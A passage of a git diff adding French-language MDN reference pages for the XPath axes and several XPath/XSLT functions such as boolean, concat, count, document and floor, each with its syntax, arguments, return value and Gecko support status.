+</p>{{ languages( { "en": "en/XPath/Axes/ancestor", "es": "es/XPath/Ejes/ancestor", "pl": "pl/XPath/Osie/ancestor" } ) }}
diff --git a/files/fr/web/xpath/axes/attribute/index.html b/files/fr/web/xpath/axes/attribute/index.html
new file mode 100644
index 0000000000..be3c5180d3
--- /dev/null
+++ b/files/fr/web/xpath/axes/attribute/index.html
@@ -0,0 +1,10 @@
+---
+title: attribute
+slug: Web/XPath/Axes/attribute
+translation_of: Web/XPath/Axes/attribute
+---
+<p>
+</p><p>L'axe <code>attribute</code> axis indique les attributs du nœud de contexte. Seuls les éléments ont des attributs. Cet axe peut être abrégé avec le signe arobase (<code>@</code>).
+</p><p><br>
+<span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/attribute", "es": "es/XPath/Ejes/attribute", "pl": "pl/XPath/Osie/attribute" } ) }}
diff --git a/files/fr/web/xpath/axes/child/index.html b/files/fr/web/xpath/axes/child/index.html
new file mode 100644
index 0000000000..3566915d63
--- /dev/null
+++ b/files/fr/web/xpath/axes/child/index.html
@@ -0,0 +1,9 @@
+---
+title: child
+slug: Web/XPath/Axes/child
+translation_of: Web/XPath/Axes/child
+---
+<p>
+</p><p>L'axe <code>child</code> indique les enfants du nœud de contexte. Si une expression XPath ne spécifie pas d'axe, il est compris par défaut. Comme seuls le nœud racine et les nœuds element ont des enfants, toute autre utilisation ne sélectionnera rien.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/child", "es": "es/XPath/Ejes/child", "pl": "pl/XPath/Osie/child" } ) }}
diff --git a/files/fr/web/xpath/axes/descendant-or-self/index.html b/files/fr/web/xpath/axes/descendant-or-self/index.html
new file mode 100644
index 0000000000..81227314a7
--- /dev/null
+++ b/files/fr/web/xpath/axes/descendant-or-self/index.html
@@ -0,0 +1,9 @@
+---
+title: descendant-or-self
+slug: Web/XPath/Axes/descendant-or-self
+translation_of: Web/XPath/Axes/descendant-or-self
+---
+<p>
+L'axe <code>descendant-or-self</code> indique le nœud de contexte et tout ses descendants. Les nœuds <code>attribute</code> et <code>namespace</code> ne sont pas compris - le parent d'un nœud <code>attribute</code> est un nœud <code>element</code>, mais les nœuds <code>attribute</code> ne sont pas les enfants de leur parent.
+</p><p><span class="comment">interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/descendant-or-self", "es": "es/XPath/Ejes/descendant-or-self", "pl": "pl/XPath/Osie/descendant-or-self" } ) }}
diff --git a/files/fr/web/xpath/axes/descendant/index.html b/files/fr/web/xpath/axes/descendant/index.html
new file mode 100644
index 0000000000..e3f42fae11
--- /dev/null
+++ b/files/fr/web/xpath/axes/descendant/index.html
@@ -0,0 +1,10 @@
+---
+title: descendant
+slug: Web/XPath/Axes/descendant
+translation_of: Web/XPath/Axes/descendant
+---
+<p>
+</p><p>l'axe <code>descendant</code> indique tous les nœuds enfants du nœud de contexte, et tous leurs enfants, et ainsi de suite. Les nœuds <code>attribute</code> et <code>namespace</code> ne sont pas compris - le parent d'un nœud <code>attribute</code> est un nœud <code>element</code>, mais les nœuds <code>attribute</code> ne sont pas les enfants de leur parent.
+</p><p><br>
+<span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/descendant", "es": "es/XPath/Ejes/descendant", "pl": "pl/XPath/Osie/descendant" } ) }}
diff --git a/files/fr/web/xpath/axes/following-sibling/index.html b/files/fr/web/xpath/axes/following-sibling/index.html
new file mode 100644
index 0000000000..bc8d434e5f
--- /dev/null
+++ b/files/fr/web/xpath/axes/following-sibling/index.html
@@ -0,0 +1,9 @@
+---
+title: following-sibling
+slug: Web/XPath/Axes/following-sibling
+translation_of: Web/XPath/Axes/following-sibling
+---
+<p>
+</p><p>L'axe <code>following-sibling</code> indique tous les nœuds qui ont le même <code>parent</code> que le nœud de contexte mais qui apparaissent après lui dans le document source.
+</p><p><span class="comment">Interwikilanguages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/following-sibling", "es": "es/XPath/Ejes/following-sibling", "pl": "pl/XPath/Osie/following-sibling" } ) }}
diff --git a/files/fr/web/xpath/axes/following/index.html b/files/fr/web/xpath/axes/following/index.html
new file mode 100644
index 0000000000..cb53cdd742
--- /dev/null
+++ b/files/fr/web/xpath/axes/following/index.html
@@ -0,0 +1,9 @@
+---
+title: following
+slug: Web/XPath/Axes/following
+translation_of: Web/XPath/Axes/following
+---
+<p>
+</p><p>L'axe <code>following</code> indique tous les nœuds situés après le nœud de contexte, excepté les nœuds <code>descendant</code>, <code>attribute</code> et <code>namespace</code>.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/following", "es": "es/XPath/Ejes/following", "pl": "pl/XPath/Osie/following" } ) }}
diff --git a/files/fr/web/xpath/axes/index.html b/files/fr/web/xpath/axes/index.html
new file mode 100644
index 0000000000..ec59c9432b
--- /dev/null
+++ b/files/fr/web/xpath/axes/index.html
@@ -0,0 +1,96 @@
+---
+title: Axes
+slug: Web/XPath/Axes
+tags:
+  - Référence_XPath
+  - Référence_XSLT
+  - Transformations_XML_avec_XSLT
+  - XPath
+  - XSLT
+translation_of: Web/XPath/Axes
+---
+<p>{{ XsltRef() }}</p>
+<p>Il existe treize axes différents dans la spécification <a href="XPath">XPath</a>. Un axe représente une relation au nœud de contexte, et il est utilisé pour situer dans l'arbre les autres nœuds par rapport à celui-ci. La liste suivante présente très brièvement les treize axes disponibles et le niveau de leur support dans <a href="Gecko">Gecko</a>.</p>
+<p>Pour plus d'informations sur l'utilisation des expressions XPath, veuillez vous reportez à la section <a href="Transformations_XML_avec_XSLT/Autres_ressources">Autres ressources</a> à la fin du document <a href="Transformations_XML_avec_XSLT">Transformations XML avec XSLT</a>.</p>
+<p> </p>
+<dl>
+  <dt>
+    <a href="Axes/ancestor">ancestor</a></dt>
+  <dd>
+    Indique tous les ancêtres du nœud de contexte, depuis le nœud parent jusqu'au nœud racine.</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/ancestor-or-self">ancestor-or-self</a></dt>
+  <dd>
+    Indique le nœud de contexte et tous ses ancêtres, y compris le nœud racine.</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/attribute">attribute</a></dt>
+  <dd>
+    Indique les attributs du nœud de contexte. Seuls les éléments ont des attributs. Cet axe peut être abrégé avec le signe arobase (<code>@</code>).</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/child">child</a></dt>
+  <dd>
+    Indique les enfants du nœud de contexte. Si une expression XPath ne spécifie pas d'axe, c'est l'axe choisi par défaut. Comme seuls le nœud racine et les nœuds <code>element</code> ont des enfants, toute autre utilisation ne sélectionnera rien.</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/descendant">descendant</a></dt>
+  <dd>
+    Indique tous les nœuds enfants du nœud de contexte, et tous leurs enfants, et ainsi de suite. Les nœuds <code>attribute</code> et <code>namespace</code> ne sont <b>pas</b> compris - le <code>parent</code> d'un nœud <code>attribute</code> est un nœud <code>element</code>, mais les nœuds <code>attribute</code> ne sont pas les enfants de leur parent.</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/descendant-or-self">descendant-or-self</a></dt>
+  <dd>
+    Indique le nœud de contexte et tous ses descendants. Les nœuds <code>attribute</code> et <code>namespace</code> ne sont <b>pas</b> compris - le <code>parent</code> d'un nœud <code>attribute</code> est un nœud <code>element</code>, mais les nœuds <code>attribute</code> ne sont pas les enfants de leur parent.</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/following">following</a></dt>
+  <dd>
+    Indique tous les nœuds situés après le nœud de contexte, exceptés les nœuds <code>descendant</code>, <code>attribute</code> et <code>namespace</code>.</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/following-sibling">following-sibling</a></dt>
+  <dd>
+    Indique tous les nœuds qui ont le même <code>parent</code> que le nœud de contexte mais qui apparaissent après lui dans le document source.</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/namespace">namespace</a>
+    <i>
+      (non supporté)</i>
+  </dt>
+  <dd>
+    Indique tous les nœuds qui sont dans le voisinage immédiat du nœud de contexte. Dans ce cas, le nœud de contexte doit être un nœud <code>element</code>.</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/parent">parent</a></dt>
+  <dd>
+    Indique le nœud parent du nœud de contexte. Il peut être abrégé par deux points (<code>..</code>).</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/preceding">preceding</a></dt>
+  <dd>
+    Indique tous les nœuds qui précédent le nœud de contexte dans le document, exceptés les nœuds <code>ancestor</code>, <code>attribute</code> et <code>namespace</code>.</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/preceding-sibling">preceding-sibling</a></dt>
+  <dd>
+    Indique tous les nœuds qui ont le même <code>parent</code> que le nœud de contexte mais qui apparaissent avant lui dans le document source.</dd>
+</dl>
+<dl>
+  <dt>
+    <a href="Axes/self">self</a></dt>
+  <dd>
+    Indique le nœud de contexte lui-même. Il peut être abrégé par un point (<code>.</code>).</dd>
+</dl>
diff --git a/files/fr/web/xpath/axes/namespace/index.html b/files/fr/web/xpath/axes/namespace/index.html
new file mode 100644
index 0000000000..59a1b9d8d4
--- /dev/null
+++ b/files/fr/web/xpath/axes/namespace/index.html
@@ -0,0 +1,10 @@
+---
+title: namespace
+slug: Web/XPath/Axes/namespace
+translation_of: Web/XPath/Axes/namespace
+---
+<p>
+</p><p><i>(non supporté)</i>
+</p><p>L'axe <code>namespace</code> indique tous les nœuds qui sont dans le voisinage immédiat du nœud de contexte. Dans ce cas, le nœud de contexte doit être un nœud <code>element</code>.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/namespace", "es": "es/XPath/Ejes/namespace", "pl": "pl/XPath/Osie/namespace" } ) }}
diff --git a/files/fr/web/xpath/axes/parent/index.html b/files/fr/web/xpath/axes/parent/index.html
new file mode 100644
index 0000000000..04148dd9e4
--- /dev/null
+++ b/files/fr/web/xpath/axes/parent/index.html
@@ -0,0 +1,9 @@
+---
+title: parent
+slug: Web/XPath/Axes/parent
+translation_of: Web/XPath/Axes/parent
+---
+<p>
+</p><p>L'axe <code>parent</code> indique le nœud parent du nœud de contexte. Il peut être abrégé par deux points (<code>..</code>).
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/parent", "es": "es/XPath/Ejes/parent", "pl": "pl/XPath/Osie/parent" } ) }}
diff --git a/files/fr/web/xpath/axes/preceding-sibling/index.html b/files/fr/web/xpath/axes/preceding-sibling/index.html
new file mode 100644
index 0000000000..b4c78b09b8
--- /dev/null
+++ b/files/fr/web/xpath/axes/preceding-sibling/index.html
@@ -0,0 +1,9 @@
+---
+title: preceding-sibling
+slug: Web/XPath/Axes/preceding-sibling
+translation_of: Web/XPath/Axes/preceding-sibling
+---
+<p>
+</p><p>L'axe <code>preceding-sibling</code> indique tous les nœuds qui ont le même <code>parent</code> que le nœud de contexte mais qui apparaissent avant lui dans le document source.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/preceding-sibling", "es": "es/XPath/Ejes/preceding-sibling", "pl": "pl/XPath/Osie/preceding-sibling" } ) }}
diff --git a/files/fr/web/xpath/axes/preceding/index.html b/files/fr/web/xpath/axes/preceding/index.html
new file mode 100644
index 0000000000..f0aa5014ab
--- /dev/null
+++ b/files/fr/web/xpath/axes/preceding/index.html
@@ -0,0 +1,9 @@
+---
+title: preceding
+slug: Web/XPath/Axes/preceding
+translation_of: Web/XPath/Axes/preceding
+---
+<p>
+</p><p>L'axe <code>preceding</code> indique tous les nœuds qui précédent le nœud de contexte dans le document, except any <code>ancestor</code>, excepté les nœuds <code>attribute</code> et <code>namespace</code>.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/preceding", "es": "es/XPath/Ejes/preceding", "pl": "pl/XPath/Osie/preceding" } ) }}
diff --git a/files/fr/web/xpath/axes/self/index.html b/files/fr/web/xpath/axes/self/index.html
new file mode 100644
index 0000000000..dd98799901
--- /dev/null
+++ b/files/fr/web/xpath/axes/self/index.html
@@ -0,0 +1,9 @@
+---
+title: self
+slug: Web/XPath/Axes/self
+translation_of: Web/XPath/Axes/self
+---
+<p>
+</p><p>L'axe <code>self</code> indique le nœud de contexte lui-même. Il peut être abrégé par un simple point (<code>.</code>).
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/self", "es": "es/XPath/Ejes/self", "pl": "pl/XPath/Osie/self" } ) }}
diff --git a/files/fr/web/xpath/fonctions/boolean/index.html b/files/fr/web/xpath/fonctions/boolean/index.html
new file mode 100644
index 0000000000..c48fd233c6
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/boolean/index.html
@@ -0,0 +1,38 @@
+---
+title: boolean
+slug: Web/XPath/Fonctions/boolean
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/boolean
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+la fonction <code>boolean</code> évalue une expression et retourne <code>true</code> ou <code>false</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">boolean( <i>expression</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>expression</i></code>
+</dt><dd>L'expression à évaluer. L'expression peut faire référence à des nombres, des ensembles de nœuds, comme à des valeurs booléennes.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>La valeur booléenne <code>true</code> ou <code>false</code> en fonction de l'évaluation de <code><i>expression</i></code>.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> Un nombre est évalué à <code>false</code> si c'est un zéro positif ou négatif ou <code>NaN</code>. Autrement, il est évalué à <code>true</code>.
+</li><li> Un ensemble de nœuds est évalué à <code>true</code> s'il n'est pas vide.
+</li><li> Une chaîne est évaluée à <code>false</code> si elle est vide. Autrement, elle est évaluée à <code>true</code>.
+</li><li> Un objet de type autre que les quatre types de bases, est converti en booléen par une méthode qui dépend de son type.
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-boolean" class="external">XPath 1.0, section 4.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/boolean", "ja": "ja/XPath/Functions/boolean", "pl": "pl/XPath/Funkcje/boolean" } ) }}
diff --git a/files/fr/web/xpath/fonctions/ceiling/index.html b/files/fr/web/xpath/fonctions/ceiling/index.html
new file mode 100644
index 0000000000..ca27303779
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/ceiling/index.html
@@ -0,0 +1,36 @@
+---
+title: ceiling
+slug: Web/XPath/Fonctions/ceiling
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/ceiling
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>ceiling</code> évalue un nombre décimal et retourne le plus petit nombre entier supérieur ou égal au nombre évalué.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">ceiling( <i>nombre</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>nombre</i></code>
+</dt><dd>Le nombre décimal à évaluer.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Le plus petit entier supérieur ou égal à <code><i>nombre</i></code>.
+</p><p>Par exemple :
+</p>
+<pre class="eval"><code>ceiling (<i>5.2</i>)</code> = <var>6</var><br>
+<code>ceiling (<i>-5.2</i>)</code> = <var>-5</var>
+</pre>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-ceiling" class="external">XPath 1.0, section 4.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/ceiling", "ja": "ja/XPath/Functions/ceiling", "pl": "pl/XPath/Funkcje/ceiling" } ) }}
diff --git a/files/fr/web/xpath/fonctions/concat/index.html b/files/fr/web/xpath/fonctions/concat/index.html
new file mode 100644
index 0000000000..b724dd4a1e
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/concat/index.html
@@ -0,0 +1,32 @@
+---
+title: concat
+slug: Web/XPath/Fonctions/concat
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/concat
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>concat</code> concatène deux ou plusieurs chaînes et retourne la chaîne résultante.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">concat( <i>chaîne<sub>1</sub></i> , <i>chaîne<sub>2</sub></i> [, <i>chaîne<sub>n</sub></i>]* )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>chaîne<sub>n</sub></i></code>
+</dt><dd>Cette fonction accepte deux arguments ou plus. Chacun est une chaîne.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Une chaîne unique, résultat de la concaténation des chaînes passées en arguments à la fonction.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-concat" class="external">XPath 1.0, section 4.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/concat", "ja": "ja/XPath/Functions/concat", "pl": "pl/XPath/Funkcje/concat" } ) }}
diff --git a/files/fr/web/xpath/fonctions/contains/index.html b/files/fr/web/xpath/fonctions/contains/index.html
new file mode 100644
index 0000000000..72be24ec8e
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/contains/index.html
@@ -0,0 +1,42 @@
+---
+title: contains
+slug: Web/XPath/Fonctions/contains
+translation_of: Web/XPath/Functions/contains
+---
+<p>{{ XsltRef() }}</p>
+
+<p><br>
+ La fonction <code>contains</code> détermine si la chaîne passée en premier argument contient la chaîne passée en second argument et retourne le booléen <code>true</code> ou <code>false</code>.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">contains( <em>meule</em> , <em>aiguille</em> )
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code><em>meule</em></code></dt>
+ <dd>La chaîne dans laquelle chercher.</dd>
+</dl>
+
+<dl>
+ <dt><code><em>aiguille</em></code></dt>
+ <dd>La chaîne à rechercher dans <code><em>meule</em></code></dd>
+</dl>
+
+<h3 id="Retour" name="Retour">Retour</h3>
+
+<p><code>true</code> si <code><em>meule</em></code> contient <code><em>aiguille</em></code>. Autrement, <code>false</code>.</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-contains">XPath 1.0, section 4.2</a>.</p>
+
+<h3 id="Support_Gecko" name="Support_Gecko">Support Gecko</h3>
+
+<p>Supportée.</p>
+
+<p><span class="comment">Interwiki Languages Links</span></p>
+
+<p>{{ languages( { "en": "en/XPath/Functions/contains", "es": "es/XPath/Funciones/contains", "ja": "ja/XPath/Functions/contains", "pl": "pl/XPath/Funkcje/contains" } ) }}</p>
diff --git a/files/fr/web/xpath/fonctions/count/index.html b/files/fr/web/xpath/fonctions/count/index.html
new file mode 100644
index 0000000000..d173536a77
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/count/index.html
@@ -0,0 +1,32 @@
+---
+title: count
+slug: Web/XPath/Fonctions/count
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/count
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>count</code> compte le nombre de nœuds dans un ensemble de nœuds et retourne un entier.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">count( <i>ensemble-de-nœuds</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>ensemble-de-nœuds</i></code>
+</dt><dd>L'ensemble de nœuds à compter.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Un entier représentant le nombre de nœuds contenus dans l'ensemble.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-count" class="external">1.0, section 4.1</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/count", "ja": "ja/XPath/Functions/count", "pl": "pl/XPath/Funkcje/count" } ) }}
diff --git a/files/fr/web/xpath/fonctions/current/index.html b/files/fr/web/xpath/fonctions/current/index.html
new file mode 100644
index 0000000000..692ac83cc1
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/current/index.html
@@ -0,0 +1,32 @@
+---
+title: current
+slug: Web/XPath/Fonctions/current
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/current
+---
+<p>
+{{ XsltRef() }}
+</p><p>La fonction <code>current</code> peut être utilisée pour obtenir le nœud courant dans une instruction XSLT.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">current()
+</pre>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Un ensemble de nœuds contenant uniquement le nœud courant.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<p>Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath core.
+</p><p>Le nœud courant est toujours identique au nœud de contexte. Les deux exemples suivants sont sémantiquement équivalents :
+</p>
+<pre class="eval">&lt;xsl:value-of select="current()"/&gt;
+</pre>
+<pre class="eval">&lt;xsl:value-of select="."/&gt;
+</pre>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-current" class="external">XSLT 1.0, section 12.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Functions/current", "pl": "pl/XPath/Funkcje/current" } ) }}
diff --git a/files/fr/web/xpath/fonctions/document/index.html b/files/fr/web/xpath/fonctions/document/index.html
new file mode 100644
index 0000000000..ad4f52bab4
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/document/index.html
@@ -0,0 +1,43 @@
+---
+title: document
+slug: Web/XPath/Fonctions/document
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/document
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>document</code> recherche un ensemble de nœuds dans un ou des documents externes et retourne l'ensemble de nœuds résultant.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">document( <i>URI</i> [, <i>ensemble-de-nœuds</i>] )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>URI</i></code>
+</dt><dd>URI absolue ou relative du document à récupérer. L'URI peut également contenir un identifiant de fragment.
+</dd></dl>
+<dl><dt><code><i>ensemble-de-nœuds</i></code> (optionnel)
+</dt><dd>Une expression pointant vers un ensemble de nœuds du document externe, qui doit être retourné.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Un ensemble de nœuds.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> Si l'URI contient un identifiant de fragment et que celui-ci peut être repérer dans le document externe, alors ce fragment sera traité comme la racine pour rechercher l'expression de l'argument <code><i>ensemble-de-nœuds</i></code>. Si l'argument <code><i>ensemble-de-nœuds</i></code> est omis, le fragment entier sera retourné.
+</li></ul>
+<ul><li> Si l'argument <code><i>URI</i></code> est un ensemble de nœuds et que le second argument est présent, chaque nœud de l'ensemble de nœuds sera évalué comme une URI séparée, et l'ensemble de nœuds retourné sera le même que si la fonction <code>document</code> avait été appelée plusieurs fois, et que les résultats avait été concaténés dans un unique ensemble de nœuds.
+</li></ul>
+<ul><li> D'autres situations particulières existent avec des comportements bien définis. Pour plus d'informations, consultez la <a href="http://www.w3.org/TR/xslt" class="external">documentation XSLT 1.0</a>.
+</li></ul>
+<ul><li> Puisque l'URI est relative au document XSL, <code>document("")</code> retournera le nœud racine du document courant.
+</li></ul>
+<p>Cette fonction est un ajout à XPath qui est spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions de XPath core.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-document" class="external">XSLT 1.0, section 12.1</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Functions/document", "pl": "pl/XPath/Funkcje/document" } ) }}
diff --git a/files/fr/web/xpath/fonctions/element-available/index.html b/files/fr/web/xpath/fonctions/element-available/index.html
new file mode 100644
index 0000000000..f27dfbcccc
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/element-available/index.html
@@ -0,0 +1,29 @@
+---
+title: element-available
+slug: Web/XPath/Fonctions/element-available
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/element-available
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>element-available</code> détermine si un élément est disponible et retourne la valeur booléenne <code>true</code> ou <code>false</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">element-available( <i>QName</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>QName</i></code>
+</dt><dd>Doit s'évaluer en un QName valide. Le QName est développé en <i>nom étendu</i> à l'aide des déclarations d'espaces de nommage s'appliquant à l'expression. Le nom étendu est constitué d'une partie locale, une chaîne, et d'une URI d'espace de nommage.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Retourne <code>true</code> si et seulement si le nom étendu est un nom d'instruction. Si le nom étendu a une URI d'espace de nommage égale à l'URI de l'espace de nommage XSLT, alors il se rapporte à un élément défini par XSLT. Autrement, il se rapporte à un élément d'extension. Si le nom étendu a une URI d'espace de nommage null, la fonction <code>element-available</code> retournera <code>false</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-element-available" class="external">XSLT 1.0, section 15</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Functions/element-available", "pl": "pl/XPath/Funkcje/element-available" } ) }}
diff --git a/files/fr/web/xpath/fonctions/false/index.html b/files/fr/web/xpath/fonctions/false/index.html
new file mode 100644
index 0000000000..8b6e7a611a
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/false/index.html
@@ -0,0 +1,35 @@
+---
+title: 'false'
+slug: Web/XPath/Fonctions/false
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/false
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>false</code> retourne le booléen <code>false</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">false()
+</pre>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Booléen <code>false</code>.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<p>Cette fonction est utile dans les comparaisons :
+</p>
+<pre class="eval">&lt;xsl:if test="boolean((1 &gt; 2) = false())"&gt;
+ L'expression évaluée comme fausse
+&lt;/xsl:if&gt;
+</pre>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-false" class="external">XPath 1.0, section 4.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/false", "ja": "ja/XPath/Functions/false", "pl": "pl/XPath/Funkcje/false" } ) }}
diff --git a/files/fr/web/xpath/fonctions/floor/index.html b/files/fr/web/xpath/fonctions/floor/index.html
new file mode 100644
index 0000000000..36f96d9c5d
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/floor/index.html
@@ -0,0 +1,36 @@
+---
+title: floor
+slug: Web/XPath/Fonctions/floor
+tags:
+  - Fonction
+  - Reference
+  - Référence_XSLT
+  - XPath
+  - XSLT
+translation_of: Web/XPath/Functions/floor
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ La fonction <code>floor</code> évalue un nombre décimal et retourne le plus grand nombre entier inférieur ou égal au nombre évalué.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
